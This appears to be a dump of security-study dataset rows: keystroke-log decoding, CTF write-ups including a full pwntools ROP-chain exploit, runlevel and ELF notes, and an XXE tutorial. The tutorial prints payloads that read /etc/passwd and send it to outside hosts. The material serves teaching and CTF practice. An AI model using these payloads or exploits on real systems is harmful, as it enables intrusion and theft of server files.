text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
import struct, string
data=open("dump","rb").read()
events=[]
for i in range(len(data)/24):
ev=data[i*24:i*24+24]
time=ev[:16]
ev=ev[16:]
tp=ev[:2]
ev=ev[2:]
code=ev[:2]
ev=ev[2:]
val=ev
events.append( ( struct.unpack("<H",tp)[0], struct.unpack("<H",code)[0], struct.unpack("<I",val)[0] ) )
EV_KEY=1
key_events=[]
for event in events:
if event[0]==EV_KEY:
key_events.append(event)
keys=open("keys.h").readlines()
keydata={}
for line in keys:
ln=line.split("\t")
name=ln[0].split(" ")[-1]
code=int(ln[-1])
keydata[code]=name
shift=0
full=""
for event in key_events:
if event[2]==0:
print "Released",
elif event[2]==1:
print "---> Pressed",
else:
print "???",
code=event[1]
print keydata[code]
if keydata[code]=="KEY_RIGHTSHIFT" or keydata[code]=="KEY_LEFTSHIFT":
if event[2]==0:
shift-=1
else:
shift+=1
elif event[2]==1:
if len(keydata[code])==5:
c=keydata[code][-1]
if shift==0:
c=string.lower(c)
full+=c
elif keydata[code]=="KEY_SPACE":
full+=" "
else:
keydata[code]+="["+keydata[code]+"]"
print full
|
sec-knowleage
|
# Floppy
Misc.
## Description:
> Using the credentials from the letter, you logged in to the Foobanizer9000-PC. It has a floppy drive...why? There is an .ico file on the disk, but it doesn't smell right..
A binary file was attached.
## Solution:
Let's inspect the attached file:
```console
root@kali:/media/sf_CTFs/google/floppy# file foo.ico
foo.ico: MS Windows icon resource - 1 icon, 32x32, 16 colors
```
It looks like a harmless icon file... or does it?
```console
root@kali:/media/sf_CTFs/google/floppy# binwalk foo.ico
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
765 0x2FD Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 136, name: driver.txt
956 0x3BC Zip archive data, at least v2.0 to extract, compressed size: 214, uncompressed size: 225, name: www.com
1392 0x570 End of Zip archive, footer length: 22
```
Extract with `binwalk` and inspect:
```console
root@kali:/media/sf_CTFs/google/floppy# binwalk foo.ico -e
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
765 0x2FD Zip archive data, at least v2.0 to extract, compressed size: 123, uncompressed size: 136, name: driver.txt
956 0x3BC Zip archive data, at least v2.0 to extract, compressed size: 214, uncompressed size: 225, name: www.com
1392 0x570 End of Zip archive, footer length: 22
root@kali:/media/sf_CTFs/google/floppy# cd _foo.ico.extracted/
root@kali:/media/sf_CTFs/google/floppy/_foo.ico.extracted# cat
2FD.zip driver.txt www.com
root@kali:/media/sf_CTFs/google/floppy/_foo.ico.extracted# cat driver.txt
This is the driver for the Aluminum-Key Hardware password storage device.
CTF{qeY80sU6Ktko8BJW}
In case of emergency, run www.com
```
The flag: CTF{qeY80sU6Ktko8BJW}
|
sec-knowleage
|
runlevel
===
打印当前Linux系统的运行等级
## 补充说明
**runlevel命令** 用于打印当前Linux系统的运行等级。
### 语法
```shell
runlevel
```
### 知识扩展
linux操作系统自从开始启动至启动完毕需要经历几个不同的阶段,这几个阶段就叫做runlevel,同样,当linux操作系统关闭时也要经历另外几个不同的runlevel,下面我们就准备详细介绍一下runlevel,并向您展示一些小技巧来让您的linux系统避免不必要的重启动。
runlevel可以认为是系统状态,形象一点,您可以认为runlevel有点象微软的windows操作系统中的Normal,safemode,和command prompt only。进入每个runlevel都需要启动或关闭相应的一系列服务(services),这些服务(services)以初始化脚本的方式放置于目录`/etc/rc.d/rc?.d/`或者`/etc/rc?.d`下面(?代表runlevel的对应序号)。
在大多数的linux发行版本中,通常有8个runlevel:
```shell
0 停机
1 单用户模式
2 多用户,没有 NFS
3 完全多用户模式
4 没有用到
5 图形界面
6 重新启动
S s Single user mode
```
多数的桌面的linux系统缺省的runlevel是5,用户登陆时是图形界面,而多数的服务器版本的linux系统缺省的runlevel是3,用户登陆时是字符界面,runlevel 1和2除了调试之外很少使用,runlevel s和S并不是直接给用户使用,而是用来为Single user mode作准备。
linux的运行模式比起windows的启动模式的优势在于:你可以在系统空闲时使用init命令切换你现在使用的runlevel,另外,当你关闭或者启动linux系统时你已经不知不觉中切换你的runlevel,系统关机进程需要调用runlevel(0或6)来关闭所有正在运行中的进程。
|
sec-knowleage
|
# rop chain
Binary Exploitation, 350 points
## Description:
> Can you exploit the following program and get the flag?
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else if (win1) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else if (win1 && win2) {
printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
}
else if (win1 || win2) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
```
## Solution:
We need to take over the stack using the buffer overflow in `vuln`, and use it to direct the flow execution to `win_function1`, then `win_function2` and finally `flag`.
`win_function2` and `flag` need to be called with appropriate arguments in order to print the flag.
pwntools makes building a ROP chain pretty straightforward:
```python
from pwn import *
import argparse
import os
EXECUTABLE = "rop"
LOCAL_PATH = "./"
REMOTE_PATH = "/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/"
SSH_SERVER = "2018shell3.picoctf.com"
def get_process_path(is_ssh = False):
if is_ssh or os.path.exists(REMOTE_PATH):
return REMOTE_PATH + EXECUTABLE
else:
return LOCAL_PATH + EXECUTABLE
def get_process(ssh_user = None):
is_ssh = ssh_user is not None
path = get_process_path(is_ssh)
params = {"argv": path, "cwd": os.path.dirname(path)}
if is_ssh:
s = ssh(host=SSH_SERVER, user=ssh_user)
p = s.process(**params)
else:
p = process(**params)
return p
def send_payload(proc, payload):
proc.sendlineafter("Enter your input> ", payload)
def get_overflow_offset():
# It's problematic to create a core dump on an NTFS file system,
# so reconfigure core dumps to be created elsewhere
os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern")
proc = process(get_process_path())
payload = cyclic(128)
send_payload(proc, payload)
proc.wait()
offset = cyclic_find(proc.corefile.eip)
log.info("Overflow offset: {}".format(offset))
return offset
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username")
args = parser.parse_args()
e = ELF(get_process_path())
context.binary = e.path
log.info("Address of win_function1(): 0x{:02X}".format(e.symbols["win_function1"]))
log.info("Address of win_function2(): 0x{:02X}".format(e.symbols["win_function2"]))
log.info("Address of flag(): 0x{:02X}".format(e.symbols["flag"]))
r = ROP(e)
r.win_function1()
r.win_function2(0xBAAAAAAD)
r.flag(0xDEADBAAD)
print "ROP:"
print r.dump()
offset = get_overflow_offset()
p = get_process(args.ssh_user)
payload = fit({offset: str(r)})
send_payload(p, payload)
print p.recvall()
```
The output:
```console
root@kali:/media/sf_CTFs/pico/rop_chain# python exploit.py --ssh_user=$pico_ssh_user
[*] '/media/sf_CTFs/pico/rop_chain/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Address of win_function1(): 0x80485CB
[*] Address of win_function2(): 0x80485D8
[*] Address of flag(): 0x804862B
[*] Loaded cached gadgets for './rop'
ROP:
0x0000: 0x80485cb win_function1()
0x0004: 0x80485d8 win_function2(0xbaaaaaad)
0x0008: 0x804840d <adjust @0x10> pop ebx; ret
0x000c: 0xbaaaaaad arg0
0x0010: 0x804862b flag(0xdeadbaad)
0x0014: 'faaa' <return address>
0x0018: 0xdeadbaad arg0
[+] Starting local process './rop': pid 1792
[*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 1792)
[+] Parsing corefile...: Done
[*] '/media/sf_CTFs/pico/rop_chain/core.1792'
Arch: i386-32-little
EIP: 0x61616168
ESP: 0xffa79340
Exe: '/media/sf_CTFs/pico/rop_chain/rop' (0x8048000)
Fault: 0x61616168
[*] Overflow offset: 28
[+] Connecting to 2018shell3.picoctf.com on port 22: Done
[*] user@2018shell3.picoctf.com:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.0
ASLR: Enabled
[+] Starting remote process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop' on 2018shell3.picoctf.com: pid 2462245
[+] Receiving all data: Done (41B)
[*] Stopped remote process 'rop' on 2018shell3.picoctf.com (pid 2462245)
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_536d67d1}
```
The flag: picoCTF{rOp_aInT_5o_h4Rd_R1gHt_536d67d1}
|
sec-knowleage
|
# 十四、XML 外部实体注入
> 作者:Peter Yaworski
> 译者:[飞龙](https://github.com/)
> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
XML 外部实体(XXE)漏洞涉及利用应用解析 XML 输入的方式,更具体来说,应用程序处理输入中外部实体的包含方式。为了完全理解理解如何利用,以及他的潜力。我觉得我们最好首先理解什么是 XML 和外部实体。
元语言是用于描述其它语言的语言,这就是 XML。它在 HTML 之后开发,来弥补 HTML 的不足。HTML 用于定义数据的展示,专注于它应该是什么样子。房子,XML 用于定义数据如何被组织。
例如,HTML 中,你的标签为`<title>`, `<h1>`, `<table>`, `<p>`,以及其它。这些东西都用于定义内容如何展示。`<title>`用于定义页面的标题,`<h1>`标签定义了标题,`<table>`标签按行和列展示数据,并且`<p>`表示为简单文本。反之,XML 没有预定义的标签。创建 XML 文档的人可以定义它们自己的标签,来描述展示的内容。这里是一个示例。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>
```
读完了之后,你可以大致猜测出 XML 文档的目的 -- 为了展示职位列表,但是如果它在 Web 页面上展示,你不知道它看起来是什么样。XML 的第一行是一个声明头部,表示 XML 的版本,以及编码类型。在编写此文的时候,XML 有两个版本,1.0 和 1.1。它们的具体区别超出了本书范围,因为它们在你渗透的时候没什么影响。
在初始的头部之后,标签`<jobs>`位于所有其它`<job>`标签的外面。`<job>`又包含`<title>`、`<compensation>`和`<responsibilities>`标签。现在如果是 HTML,一些标签并不需要(但最好有)闭合标签(例如`<br>`),但是所有 XML 标签都需要闭合标签。同样,选取上面的例子,`<jobs>`是个起始标签,`</jobs>`是对应的闭合标签。此外,每个标签都有名称,并且可以拥有属性。使用标签`<job>`,标签名称就是`job`,但是没有属性。另一方面,`<responsibility>`拥有名称`responsibility`,并拥有属性`optional`,由属性名称`optional`和值`1`组成。
由于任何人可以定义任何标签,问题就来了,如果标签可以是任何东西,任何一个人如何知道如何解析和使用 XML 文档?好吧,一个有效的 XML 文档之所以有效,是因为它遵循了 XML 的通用规则(我不需要列出它们,但是拥有闭合标签是一个前面提过的例子),并且它匹配了它的文档类型定义(DTD)。DTD 是我们继续深入的全部原因,因为它是允许我们作为黑客利用它的一个东西。
XML DTD 就像是所使用的标签的定义文档,并且由 XML 设计者或作者开发。使用上面的例子,我就是设计者,因为我在 XML 中定义了职位文档。DTD 定义了存在什么标签,它们拥有什么属性,以及其它元素里面有什么元素,以及其他。当你或者我创建自己的 DTD 时,一些已经格式化了,并且广泛用于 RSS、RDF、HL7 SGML/XML。以及其它。
下面是 DTD 文件的样子,它用于我的 XML。
```xml
<!ELEMENT Jobs (Job)*>
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
```
看一看这个,你可能猜到了它大部分是啥意思。我们的`jobs`标签实际上是 XML `!ELEMENT`,并且可以包含`job`元素。`job`是个`!ELEMENT`,可以包含标题、薪资和职责,这些也都是`!ELEMENT`,并且只能包含字符数据(`#PCDATA`)。最后,`!ELEMENT responsibility`拥有一个可选属性(`!ATTLIST`),默认值为 0。
并不是很难吧?除了 DTD,还有两种还未讨论的重要标签,`!DOCTYPE`和`!ENTITY`。到现在为止,我只说了 DTD 文件是我们 XML 的扩展。要记住上面的第一个例子,XML 文档并不包含标签定义,它由我们第二个例子的 DTD 来完成。但是,我们可以将 DTD 包含在 XML 文档内,并且这样做之后, XML 的第一行必须是`<!DOCTYPE>`元素。将我们的两个例子组合起来,我们就会得到这样的文档:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>
```
这里,我们拥有了内部 DTD 声明。要注意我们仍然使用一个声明头部开始,表示我们的文档遵循 XML 1.0 和 UTF8 编码。但是之后,我们为 XML 定义了要遵循的`DOCTYPE `。使用外部 DTD 是类似的,除了`!DOCTYPE `是`<!DOCTYPE note SYSTEM "jobs.dtd">`。XML 解析器在解析 XML 文件时,之后会解析`jobs.dtd`的内容。这非常重要,因为`!ENTITY`标签被近似处理,并且是我们利用的关键。
XML 实体像是一个信息的占位符。再次使用我们之前的例子。,如果我们想让每个职位都包含到我们网站的链接,每次都编写地址简直太麻烦了,尤其是 URL 可能改变的时候。反之,我们可以使用`!ENTITY`,并且让解析器在解析时获取内容,并插入到文档中。你可以看看我们在哪里这样做。
与外部 DTD 文档类似,我们可以更新我们的 XML 文档来包含这个想法:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)>
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
<!ELEMENT Website ANY>
<!ENTITY url SYSTEM "website.txt">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
<website>&url;</website>
</job>
</jobs>
```
这里你会注意到,我继续并添加了`Website`的`!ELEMENT `,但是不是`#PCDATA`,而是`ANY`。这意味着`Website`可以包含任何可解析的数据组合。我也定义了一个`!ENTITY`,带有`SYSTEM`属性,告诉解析器获取`wensite.txt`文件的数据。现在一切都清楚了。
将它们放到一起,如果我包含了`/etc/passwd`,而不是`website.txt`,你觉得会发生什么?你可能户菜刀,我们的 XML 会被解析,并且服务器敏感文件`/etc/passwd`的内容会包含进我们的内容。但是我们是 XML 的作者,所以为什么要这么做呢?
好吧。当受害者的应用可以滥用,在 XML 的解析中包含这种外部实体时,XXE 攻击就发生了。换句话说,应用有一些 XML 预期,但是在接收时却不验证它。所以,只是解析他所得到的东西。例如,假设我正在运行一个职位公告板,并允许你注册并通过 XML 上传职位。开发我的应用时,我可能使我的 DTD 文件可以被你访问,并且假设你提交了符合需求的文件。我没有意识到它的危险,决定天真地解析收到的内容,并没有任何验证。但是作为一个黑客,你决定提交:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
```
就像你现在了解的那样,当这个文件被解析时,我的解析器会收到它,并且看到内部 DTD 定义了`foo`文档类型,告诉它`foo`可以包含任何可解析的数据,并且有个`!ENTITY xxe`,它应该读取我的`/etc/passwd`文件(`file://`的用法表示`/etc/passwd`的完整的文件 URL 路径),并会将`&xxe;`替换为这个文件的内容。之后你以定义`<foo>`标签的有效 XML 结束了它,这会打印出我的服务器数据。这就是 XXE 危险的原因。
但是等一下,还有更多的东西。如果应用不打印出回应,而是仅仅解析你的内容会怎么样?使用上面的例子,内容会解析但是永远不会反回给我们。好吧,如果我们不包含本地文件,而是打算和恶意服务器通信会怎么样?像是这样:
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>&callhome;</foo>
```
在解释它之前,你可能已经注意到我在`callhome` URL 中使用了`%`来代替`&`,`%xxe`。这是因为`%`用于实体在 DTD 定义内部被求值的情况,而`&`用于实体在 XML 文档中被求值的情况。现在,当 XML 文档被解析,` callhome !ENTITY `会读取`/etc/passwd`的内容,并远程调用`http://www.malicous.com`,将文件内容作为 URL 参数来发送,因为我们控制了该服务器,我们可以检查我们的日志,并且足够确保拥有了`/etc/passwd`的内容。Web 应用的游戏就结束了。
所以,站点如何防范 XXE 漏洞?它们可以禁止解析任何外部实体。
> 链接
> 查看 [OWASP 外部实体(XXE)解析](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing)
> [XXE 速查表](http://www.silentrobots.com/blog/2014/09/02/xe-cheatsheet)
## 示例
### 1\. Google 的读取访问
难度:中
URL:`google.com/gadgets/directory?synd=toolbar `
报告链接:`https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers`
报告日期:2014.4
奖金:$10000
描述:
了解 XML 以及外部实体之后,这个漏洞实际上就非常直接了。Google 的工具栏按钮允许开发者定义它们自己的按钮,通过上传包含特定元数据的 XML 文件。
但是,根据 Detectify 小组,通过上传带有` !ENTITY `,指向外部文件的 XML 文件,Google 解析了该文件,并渲染了内容。因此,小组使用了 XXE 漏洞来渲染服务器的`/etc/passwd`文件。游戏结束。

Google 内部文件的 Detectify 截图
> 重要结论
> 大公司甚至都存在漏洞。虽然这个报告是两年之前了,它仍然是一个大公司如何犯错的极好的例子。所需的 XML 可以轻易上传到站点,站点使用了 XML 解析器。但是,有时站点不会产生响应,所以你需要测试来自 OWASP 速查表的其它输入。
### 2\. Facebook 单词 XXE
难度:难
URL:` facebook.com/careers `
报告链接:`http://www.attack-secure.com/blog/hacked-facebook-word-document`
报告日期:2014.4
奖金:$6300
描述:
这个 XXE 有一些区别,并且比第一个例子更有挑战,因为它涉及到远程调用服务器,就像我们在描述中讨论的那样。
2013 年末,Facebook 修补了一个 XXE 漏洞,它可能会升级为远程代码执行漏洞,因为`/etc/passwd`文件的内容是可访问的。奖金约为$30000。
因此,在 Mohamed 于 2014 年 4 月挑战自己来渗透 Facebook 的时候,它不认为 XXE 可能存在,直到他发现它们的职位页面允许用户上传`.docx`文件,它可以包含 XML。对于那些不知道的人,`.docx`文件只是个 XML 文件的压缩包。所以,根据 Mohames,它创建了一个`.docx`文件,并使用 7zip 打开它来提取内容,并将下面的载荷插入了一个 XML 文件中。
```xml
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd;
%send;
]]>
```
你会想到,在解析的时候,如果受害者开启了外部实体,XML 解析器会调用远程主机。要注意`!ENTITY `定义中和下面使用了`%`。这是因为这些占位符用在 DTD 自身中。在收到请求调用之后,远程服务器会发送回 DTD 文件,像这样:
```xml
<!ENTITY send SYSTEM 'http://197.37.102.90/?%26file;'>"
```
所以,回到文件中的载荷:
1. 解析器会将`%dtd;`替换为获取远程 DTD 文件的调用。
2, 解析器会将`%send;`替换为服务器的远程调用,但是`%file;`会替换为`file:///etc/passwd`的内容。
所以,Mohamed 使用 Python 和`SimpleHTTPServer`开启了一台本地服务器,并等待接收:

Facebook 远程调用的攻击截图
在报告之后,Facebook 发送了回复,拒绝了这个报告,并说它们不能重现它,并请求内容的视频验证。在交换一些信息之后,Facebook 提到招聘人员可能打开了文件,它会发送任意请求。Facebook 自傲组做了一些深入的挖掘,并给予了奖金,发送了一个邮件,解释了这个 XXE 的影响比 2013 年初的要小,但是仍然是一个有效的利用,这里是这个信息。

Facebook 官方回复
> 重要结论
> 这里有一些重要结论。XML 文件以不同形式和大小出现。要留意接受`.docx`、`.xlsx`、`.pptx`,以及其它的站点。向我之前提到过的那样,有时候你不会直接从 XXE 收到响应,这个示例展示了如何建立服务器来接受请求,它展示了 XXE。
> 此外,像我们的例子中那样,有时报告一开始会被拒绝。拥有信息和耐心和你报告的公司周旋非常重要。尊重他们的决策,同时也解释为什么这可能是个漏洞。
### 3\. Wikiloc XXE
难度:高
URL:`wikiloc.com`
报告链接:`http://www.davidsopas.com/wikiloc-xxe-vulnerability`
报告日期:2015.10
奖金:Swag
描述:
根据他们的站定,Wikiloc 是个用于发现和分享最佳户外远足、骑车以及许多其他运动记录的地方。有趣的是,他们也让用户通过 XML 文件上传他们自己的记录,这就对例如 David Soaps 之类的骑手非常有吸引力了。
基于他们的 Write Up,David 注册了 Wikiloc,并注意到了 XML 上传点,决定测试它有没有 XXE 漏洞。最开始,它从站点下载了文件来判断 XML 结构,这里是一个`.gpx`文件,并插入了`*<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>;`。
之后它调用了`.gpx`文件中 13 行的记录名称中的实体。
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
<name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)
```
这产生了发往服务器的 HTTP GET 请求,` GET 144.76.194.66 /XXE/ 10/29/15 1:02PM Java/1.7.0_51`。这有两个原因值得注意,首先,通过使用一个概念调用的简单证明,David 能够确认服务器求解了它插入的 XML 并且进行了外部调用。其次,David 使用现存的 XML 文件,以便时它的内容满足站点所预期的结构。虽然它没有讨论这个,调用它的服务器可能并不是必须的,如果它能够服务`/etc/passwd`文件,并将内容渲染在`<name>`元素中。
在确认 Wikiloc 会生成外部 HTTP 请求后,唯一的疑问就是,是否它能够读取本地文件。所以,它修改了注入的 XML,来让 Wikiloc 向他发送它们的`/etc/passwd`文件内容。
```xml
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
<name>&send;</name>
(...)
```
这看起来十分熟悉。这里他使用了两个实体,它们都在 DTD 中求值,所以它们使用`%`定义。`&send;`在`<name>`标签中的的引用实际上由返回的`xxe.dtd`文件定义,他的服务器将其发送回 Wikiloc。这里是这个文件:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%all;
```
要注意`%all;`实际上定义了`!ENTITY send`,我们刚刚在`<name>`标签中注意到它。这里是求值的过程:
1. Wikiloc 解析了 XML,并将`%dtd;`求值为 David 的服务器的外部调用。
2. David 的服务器向 Wikiloc 返回了`xxe.dtd`文件。
3. Wikiloc 解析了收到的 DTD文件,它触发了`%all;`的调用。
4. 当`%all;`求值时,它定义了`&send;`,它包含`%file;`实体的调用。
5. `%file;`在 URL 值中被替换为`/etc/passwd`文件的内容。
6. Wikiloc 解析了 XML 文件,发现了`&send;`实体,它求值为 David 服务器的远程调用,带有`/etc/passwd`的内容,作为 URL 中的参数。
用他自己的话来说,游戏结束了。
> 重要结论
> 像之前提到的那样,这是一个不错的例子,展示了如何使用来自站点的 XML 模板,来组装你自己的 XML 实体,便于让目标合理地解析文件。这里,Wikiloc 期待`.gpx`文件,而 David 保留了该结构,在预期标签中插入了他自己的 XML 实体,也就是`<name>`标签。此外,观察如何处理恶意 DTD 文件很有意思,并且可以用于随后让目标向你的 服务器发送 GET 请求,带有文件内容作为 URL 参数。
## 总结
XXE 表示一类有巨大潜力的有趣的攻击向量。有几种方式来完成,就像我们之前看到的那样,它能够让漏洞应用打印自己的`/etc/passwd`文件,以`/etc/passwd`文件来调用远程服务器,以及请求远程 DTD 文件,它让解析器来使用`/etc/passwd`文件调用服务器。
作为一个黑客,要留意文件上传,特别是那些接受一些 XML 类型的上传,应该始终测试它们是否存在 XXE 漏洞。
|
sec-knowleage
|
### Dynamic Sections.interp
这个节包含了程序对应的解释器。
参与动态链接的可执行文件会具有一个 PT_INTERP 类型的程序头元素,以便于来加载程序中的段。在 exec (BA_OS) 过程中,系统会从该节中提取解释器的路径,并根据解释器文件的段创建初始时的程序镜像。也就是说,系统并不使用给定的可执行文件的镜像,而会首先为解释器构造独立的内存镜像。因此,解释器需要从系统处获取控制权,然后为应用程序提供执行环境。
解释器可能有两种方式获取控制权。
1. 它可以接收一个指向文件头的文件描述符,以便于读取可执行文件。它可以使用这个文件描述符来读取并将可执行文件的段映射到内存中。
2. 有时候根据可执行文件格式的不同,系统有可能不会把文件描述符给解释器,而是会直接将可执行文件加载到内存中。
解释器本身可能不需要再有一个解释器。解释器本身可能是一个共享目标文件或者是一个可执行文件。
- 共享目标文件(正常情况下)被加载为地址独立的。也就是说,对于不同的进程来说,它的地址会有所不同。系统通过 mmap (KE_OS) 以及一些相关的操作来创建动态段中的内容。因此,共享目标文件的地址通常来说不会和原来的可执行文件的原有地址冲突。
- 可执行文件一般会被加载到固定的地址。系统通过程序头部表的虚拟地址来创建对应的段。因此,一个可执行文件的解释器的虚拟地址可能和第一个可执行文件冲突。解释器有责任来解决相应的冲突。
### Dynamic Sections.dynamic
如果一个目标文件参与到动态链接的过程中,那么它的程序头部表将会包含一个类型为 PT_DYNAMIC 的元素。这个段包含了 .dynamic 节。ELF 使用 _DYNAMIC 符号来标记这个节。它的结构如下
```c
/* Dynamic section entry. */
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn_DYNAMIC[];
```
其中,d_tag 的取值决定了该如何解释 d_un。
- d_val
- 这个字段表示一个整数值,可以有多种意思。
- d_ptr
- 这个字段表示程序的虚拟地址。正如之前所说的,一个文件的虚拟地址在执行的过程中可能和内存的虚拟地址不匹配。当解析动态节中的地址时,动态链接器会根据原始文件的值以及内存的基地址来计算真正的地址。为了保持一致性,文件中并不会包含重定位入口来"纠正"动态结构中的地址。
可以看出,其实这个节是由若干个键值对构成的。
**下表总结了可执行文件以及共享目标文件中的 d_tag 的需求**。如果一个 tag 被标记为"mandatory",那么对于一个 TIS ELF conforming 的文件来说,其动态链接数组必须包含对应入口的类型。同样的,“optional”意味着可以有,也可以有没有。
| 名称 | 数值 | d_un | 可执行 | 共享 目标 | 说明 |
| --------------------- | ---------------------- | ------ | ------ | --------- | ------------------------------------------------------------ |
| DT_NULL | 0 | 忽略 | 必需 | 必需 | 标志着 _DYNAMIC 数组的末端。 |
| DT_NEEDED | 1 | d_val | 可选 | 可选 | 包含以NULL 结尾的字符串的字符串表偏移,该字符串给出某个需要的库的名称。所使用的索引为DT_STRTAB的下标。动态数组中可以包含很多个这种类型的标记。这些项在这种类型标记中的相对顺序比较重要。但是与其它的标记之前的顺序倒无所谓。对应的段为.gnu.version_r。 |
| DT_PLTRELSZ | 2 | d_val | 可选 | 可选 | 给出与过程链接表相关的重定位项的总的大小。如果存在DT_JMPREL类型的项,那么DT_PLTRELSZ也必须存在。 |
| DT_PLTGOT | 3 | d_ptr | 可选 | 可选 | 给出与过程链接表或者全局偏移表相关联的地址,对应的段.got.plt |
| DT_HASH | 4 | d_ptr | 必需 | 必需 | 此类型表项包含符号哈希表的地址。此哈希表指的是被 DT_SYMTAB 引用的符号表。 |
| DT_STRTAB | 5 | d_ptr | 必需 | 必需 | 此类型表项包含动态字符串表的地址。符号名、库名、和其它字符串都包含在此表中。对应的节的名字应该是.dynstr。 |
| DT_SYMTAB | 6 | d_ptr | 必需 | 必需 | 此类型表项包含动态符号表的地址。对 32 位的文件而言,这个符号表中的条目的类型为 Elf32_Sym。 |
